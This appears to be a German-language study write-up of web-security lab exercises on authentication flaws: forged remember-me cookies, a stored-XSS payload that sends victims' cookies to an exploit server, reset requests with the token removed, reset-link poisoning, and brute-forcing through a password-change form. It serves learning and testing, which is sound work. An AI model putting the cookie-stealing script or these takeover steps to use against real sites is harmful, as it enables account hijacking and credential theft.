Skip to content

3. Other Authentication

Andere Authentication Mechanismen

Es gibt noch weitere Mechansimen die gut abgesichert werden müssen. - Remember Me - Reset Password

Remember me

Oft werden diese einfach mit einem Cookie-Token vergeben -> Gefährlich kann das werden wenn dieser nicht gut gesichert implementiert wird. Manchmal wird einfach nur ein Token aus Username und Passwort erstellt und encrypted.

  1. Wir melden uns mit unserem Account an und checken das Verhalten der Webseite und sehen es wird beim Login ein Encrypted Logged-In Token übergeben. brute-force-stay-logged-in1.png
  2. Nach genauerem hinsehen und decrypten haben wir festgestellt, es sind einfach nur Username:Password als encrypted
  3. Hab dann an Turbo Intruder Extension geschickt und ein BF Script laufen lassen welches den Cookie bruteforced anhand von folgendem Muster base64(Username:MD5(Passwort)) (Username und Passwortliste waren ja gegeben)brute-force-stay-logged-in2.png
  4. Ergebnis bei Treffer. Danach kann man Seite an Browser senden und laden lassenbrute-force-stay-logged-in3.png

Lab: Offline password cracking

  1. Wieder abchecken wie die Seite funktioniert.
    • XSS möglich in Comment-Section bei Posts, Stayed-Login(No Random Hash - Base64(Username:MD5(Passwort)))
  2. Danach ein Exploit in der Comment-Section bei einem Blog-Post eingeschleust welcher den stayed-login-cookie an mich sendet. - Nutzer ruft unseren Server mit angehängten Cookies auf
    <script>document.location="exploit-server-url"+document.cookie</script>
    
  3. In den Logs sehen wir nun die angehängten Cookies
    10.0.4.161      2025-09-22 10:27:47 +0000 "GET /exploitsecret=IkPigWIfXzgZjVhxP8xYvFg0FVJzf7Pn;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
    
  4. Mit Decoder in Burp-Suit und Crackstation können wir den encrypteten Hash wieder decrypten

Resetting Password

In der Praxis vergessen Nutzer oft ihre Passwörter daher ist es wichtig eine Methode einzubauen die eben ein solches zurücksetzen des Passworts möglich machen - Wichtiger ist es das auch entsprechend sicher zu machen

Passwörter über E-Mail

Anfällig für Man in the Middle angriffe

Passwörter als URL

Anfällig bei den temporären Token -> Wichtig diese gegenzuchecken sonst kann man einfach seinen eigenen POST Request zusammenstellen und das Passwort eines Users ändern nur mit dem Usernamen.

Lab: Password reset broken logic

  1. Testweise Passwort zurücksetzen mit eigenem Konto um zu schauen wie die Seite das handhabt
  2. Stellen fest bei POST /forgot-password?temp-forgot-password-token legen wir ein neues Passwort fest mit mehreren Parametern
    temp-forgot-password-token=c6t958p7h1mnkptraihiis0m6tykyzht&username=wiener&new-password-1=peter1&new-password-2=peter1
    
  3. Testweise löschen wir den token und schauen ob die Anfrage durchgeht.
  4. Anfrage geht durch und somit wissen wir, dass der Token nicht überprüft wird
  5. Wir füllen die anderen Parameter und senden die Anfrage
  6. Anfrage ging durch -> Passwort geändert

Lab: Password reset poisoning via middleware

  1. Mal wieder testweise schauen wie Forgot Password funktioniert und was genau gesendet und übergeben wird.
  2. POST /forgot-password ist für uns relevant.
    1. Wir sehen er nimmt den parameter username und host und baut damit einen tmp-token für passwort-reset password-reset-mim1.png
  3. User bekommt E-Mail mit exploit Linkpassword-reset-mim2.png
  4. User drückt auf Link und es wird der tmp-password-reset-token an unseren exploit-server-log geschickt
  5. Key nutzen und in die POST /forgot-password?temp-forgot-password-token=5648xegeq98d5bbx5f4a3sjw9rfxbz8d HTTP/2 einsetzen mit den anderen nötigen Parameternpassword-reset-mim3.png
  6. Passwort für carlos auf peter1 gesetzt

Lab: Password brute-force via password change

  1. Auch erstmal wieder rumprobieren und schauen welche Funktionen angreifbar sind
  2. Wir schauen uns die Funktion an das Passwort zu ändern und nach mehrmaligen rumprobieren stellen wir fest, dass wir nicht ausgeloggt werden bei falschem current password wenn wir neues Passwort1 und neues Passwort2 ungleich haben -> Öffnet uns Türen zum bruteforcen
  3. Wir laden den POST Request in unseren Turbo Intruder und passen die Parameter anbrute-force-via-passwordchange1.png
  4. Wir schauen uns an welche Length unterschiedlich ist und probieren das Passwort was dort steht.brute-force-via-passwordchange2.png
  5. Erfolgreich eingeloggt